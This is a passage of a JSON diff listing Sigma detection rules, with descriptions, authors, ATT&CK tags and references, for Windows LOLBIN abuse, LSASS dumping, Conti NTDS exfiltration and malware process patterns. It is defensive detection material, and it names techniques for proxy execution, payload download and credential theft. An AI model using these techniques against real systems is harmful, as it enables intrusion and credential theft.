"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "9292293b-8496-4715-9db6-37028dcda4b3", + "value": "Replace.exe Usage" + }, + { + "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", + "meta": { + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec", + "creation_date": "2022/04/28", + "falsepositive": [ + "Legitimate installation of a new screensaver" + ], + "filename": "proc_creation_win_lolbin_rundll32_installscreensaver.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Desk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml" + ], + "tags": [ + "attack.t1218.011", + "attack.defense_evasion" + ] + }, + "uuid": "15bd98ea-55f4-4d37-b09a-e7caa0fa2221", + "value": "Rundll32 InstallScreenSaver Execution" + }, + { + "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/01", + "falsepositive": [ + "Legitimate use when App-v is deployed" + ], + "filename": "proc_creation_win_lolbin_scriptrunner.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "64760eef-87f7-4ed3-93fd-655668ea9420", + "value": "Use of Scriptrunner.exe" + }, + { + "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/11/10", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_sftp.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "a85ffc3a-e8fd-4040-93bf-78aff284d801", + "value": "Use Of The SFTP.EXE Binary As A LOLBIN" + }, + { + "description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_sideload_link_binary.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1560732860935729152", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "6e968eb1-5f05-4dac-94e9-fd0c5cb49fd6", + "value": "Sideloading Link.EXE" + }, + { + "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_sigverif.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/", + "https://twitter.com/0gtweet/status/1457676633809330184", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "7d4aaec2-08ed-4430-8b96-28420e030e04", + "value": "Suspicious Sigverif Execution" + }, + { + "description": "The \"Squirrel.exe\" binary that is part of multiple software (Slack, Teams, Discord...etc) can be used as a LOLBIN", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/09", + "falsepositive": [ + "See rule (fa4b21c9-0057-4493-b289-2556416ae4d7) for possible FPs" + ], + "filename": "proc_creation_win_lolbin_squirrel.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ] + }, + "uuid": "45239e6a-b035-4aaf-b339-8ad379fcb67e", + "value": "Use of Squirrel.exe" + }, + { + "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/06", + "falsepositive": [ + "Legitimate use of the UI Accessibility Checker" + ], + "filename": "proc_creation_win_lolbin_susp_acccheckconsole.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", + "https://twitter.com/bohops/status/1477717351017680899?s=12", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "0f6da907-5854-4be6-859a-e9958747b0aa", + "value": "Suspicious LOLBIN AccCheckConsole" + }, + { + "description": "Atbroker executing non-deafualt Assistive Technology applications", + "meta": { + "author": "Mateusz Wydra, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Legitimate, non-default assistive technology applications execution" + ], + "filename": "proc_creation_win_lolbin_susp_atbroker.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "f24bcaea-0cd1-11eb-adc1-0242ac120002", + "value": "Suspicious Atbroker Execution" + }, + { + "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/11/24", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_lolbin_susp_certreq_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Certreq/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "4480827a-9799-4232-b2c4-ccc6c4e9e12b", + "value": "Suspicious Certreq Command to Download" + }, + { + "description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", + "meta": { + "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger", + "creation_date": "2021/09/30", + "falsepositive": [ + "Pnputil.exe being used may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", + "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ] + }, + "uuid": "a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1", + "value": "Suspicious Driver Install by pnputil.exe" + }, + { + "description": "Detects execution of of Dxcap.exe", + "meta": { + "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (update)", + "creation_date": "2019/10/26", + "falsepositive": [ + "Legitimate execution of dxcap.exe by legitimate user" + ], + "filename": "proc_creation_win_lolbin_susp_dxcap.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", + "https://twitter.com/harr0ey/status/992008180904419328", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "60f16a96-db70-42eb-8f76-16763e333590", + "value": "Application Whitelisting Bypass via Dxcap.exe" + }, + { + "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_susp_grpconv.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1526833181831200770", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ] + }, + "uuid": "f14e169e-9978-4c69-acb3-1cff8200bc36", + "value": "Suspicious GrpConv Execution" + }, + { + "description": "Detect the use of Windows Defender to download payloads", + "meta": { + "author": "Matthew Matchen", + "creation_date": "2020/09/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_susp_mpcmdrun_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", + "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_mpcmdrun_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "46123129-1024-423e-9fae-43af4a0fa9a5", + "value": "Windows Defender Download Activity" + }, + { + "description": "Detects process dump via legitimate sqldumper.exe binary", + "meta": { + "author": "Kirill Kiryanov, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate MSSQL Server actions" + ], + "filename": "proc_creation_win_lolbin_susp_sqldumper_activity.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/countuponsec/status/910977826853068800", + "https://twitter.com/countuponsec/status/910969424215232518", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "23ceaf5c-b6f1-4a32-8559-f2ff734be516", + "value": "Dumping Process via Sqldumper.exe" + }, + { + "description": "Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN", + "meta": { + "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali", + "creation_date": "2020/10/05", + "falsepositive": [ + "Automation and orchestration scripts may use this method execute scripts etc", + "Legitimate use by Windows to kill processes opened via WSL (example VsCode WSL server)" + ], + "filename": "proc_creation_win_lolbin_susp_wsl.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/", + "https://twitter.com/nas_bench/status/1535431474429808642", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_wsl.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ] + }, + "uuid": "dec44ca7-61ad-493c-bfd7-8819c5faa09b", + "value": "WSL Execution" + }, + { + "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/12", + "falsepositive": [ + "App-V clients" + ], + "filename": "proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "fbd7c32d-db2a-4418-b92c-566eb8911133", + "value": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code" + }, + { + "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", + "meta": { + "author": "frack113", + "creation_date": "2021/07/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1216" + ] + }, + "uuid": "36475a7d-0f6d-4dce-9b01-6aeb473bbaf1", + "value": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code" + }, + { + "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", + "meta": { + "author": "frack113", + "creation_date": "2022/05/16", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_lolbin_ttdinject.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "b27077d6-23e6-45d2-81a0-e2b356eea5fd", + "value": "Use of TTDInject.exe" + }, + { + "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", + "meta": { + "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate usage by software developers/testers" + ], + "filename": "proc_creation_win_lolbin_tttracer_mod_load.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", + "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1218", + "attack.t1003.001" + ] + }, + "uuid": "0b4ae027-2a2d-4b93-8c7e-962caaba5b2a", + "value": "Time Travel Debugging Utility Usage" + }, + { + "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.", + "meta": { + "author": "frack113", + "creation_date": "2022/05/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_utilityfunctions.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "0403d67d-6227-4ea8-8145-4e72db7da120", + "value": "UtilityFunctions.ps1 Proxy Dll" + }, + { + "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", + "meta": { + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "creation_date": "2022/06/01", + "falsepositive": [ + "Legitimate testing of Microsoft UI parts." + ], + "filename": "proc_creation_win_lolbin_visualuiaverifynative.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", + "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "b30a8bc5-e21b-4ca2-9420-0a94019ac56a", + "value": "Use of VisualUiaVerifyNative.exe" + }, + { + "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", + "meta": { + "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", + "creation_date": "2020/10/07", + "falsepositive": [ + "Utilization of this tool should not be seen in enterprise environment" + ], + "filename": "proc_creation_win_lolbin_visual_basic_compiler.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Vbc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ] + }, + "uuid": "7b10f171-7f04-47c7-9fa2-5be43c76e535", + "value": "Visual Basic Command Line Compiler Usage" + }, + { + "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_vsiisexelauncher.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "18749301-f1c5-4efc-a4c3-276ff1f5b6f8", + "value": "Use of VSIISExeLauncher.exe" + }, + { + "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", + "meta": { + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "creation_date": "2022/06/01", + "falsepositive": [ + "Legitimate use by a software developer" + ], + "filename": "proc_creation_win_lolbin_wfc.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "49be8799-7b4d-4fda-ad23-cafbefdebbc5", + "value": "Use of Wfc.exe" + }, + { + "description": "Detects Winword process loading custmom dlls via the '/l' switch.\nWinword can be abused as a LOLBIN to download arbitrary file or load arbitrary DLLs.\n", + "meta": { + "author": "Nasreddine Bencherchali, Victor Sergeev, oscd.community", + "creation_date": "2022/05/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_winword.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", + "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "4ae3e30b-b03f-43aa-87e3-b622f4048eed", + "value": "Winword LOLBIN Usage" + }, + { + "description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute", + "meta": { + "author": "frack113", + "creation_date": "2022/02/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_wlrmdr.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "9cfc00b6-bfb7-49ce-9781-ef78503154bb", + "value": "Wlrmdr Lolbin Use as Launcher" + }, + { + "description": "Detects Too long PowerShell command lines", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_long_powershell_commandline.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6", + "value": "Too Long PowerShell Commandlines" + }, + { + "description": "Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials.\nIdentifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials.\n", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_lsass_dump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", + "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "ffa6861c-4461-4f59-8a41-578c39f3f23e", + "value": "LSASS Memory Dumping" + }, + { + "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_mailboxexport_share.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml" + ], + "tags": [ + "attack.exfiltration" + ] + }, + "uuid": "889719ef-dd62-43df-86c3-768fb08dc7c0", + "value": "Suspicious PowerShell Mailbox Export to Share" + }, + { + "description": "Detects a command used by conti to find volume shadow backups", + "meta": { + "author": "Max Altgelt, Tobias Michalski", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_malware_conti.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ] + }, + "uuid": "7b30e0a7-c675-4b24-8a46-82fa67e2433d", + "value": "Conti Volume Shadow Listing" + }, + { + "description": "Detects a command used by conti to exfiltrate NTDS", + "meta": { + "author": "Max Altgelt, Tobias Michalski", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_malware_conti_7zip.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560" + ] + }, + "uuid": "aa92fd02-09f2-48b0-8a93-864813fb8f41", + "value": "Conti NTDS Exfiltration Command" + }, + { + "description": "Detects a command that accesses password storing registry hives via volume shadow backups", + "meta": { + "author": "Max Altgelt, Tobias Michalski", + "creation_date": "2021/08/09", + "falsepositive": [ + "Some rare backup scenarios" + ], + "filename": "proc_creation_win_malware_conti_shadowcopy.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d", + "value": "Sensitive Registry Access via Volume Shadow Copy" + }, + { + "description": "Detects typical Dridex process patterns", + "meta": { + "author": "Florian Roth, oscd.community", + "creation_date": "2019/01/10", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_malware_dridex.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dridex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055", + "attack.discovery", + "attack.t1135", + "attack.t1033" + ] + }, + "uuid": "e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e", + "value": "Dridex Process Pattern" + }, + { + "description": "Detects specific process parameters as seen in DTRACK infections", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/30", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_malware_dtrack.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/my-name-is-dtrack/93338/", + "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/", + "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "f1531fa4-5b84-4342-8f68-9cf3fdbd83d4", + "value": "DTRACK Process Creation" + }, + { + "description": "Detects all Emotet like process executions that are not covered by the more generic rules", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/09/30", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_malware_emotet.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/", + "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", + "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", + "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + 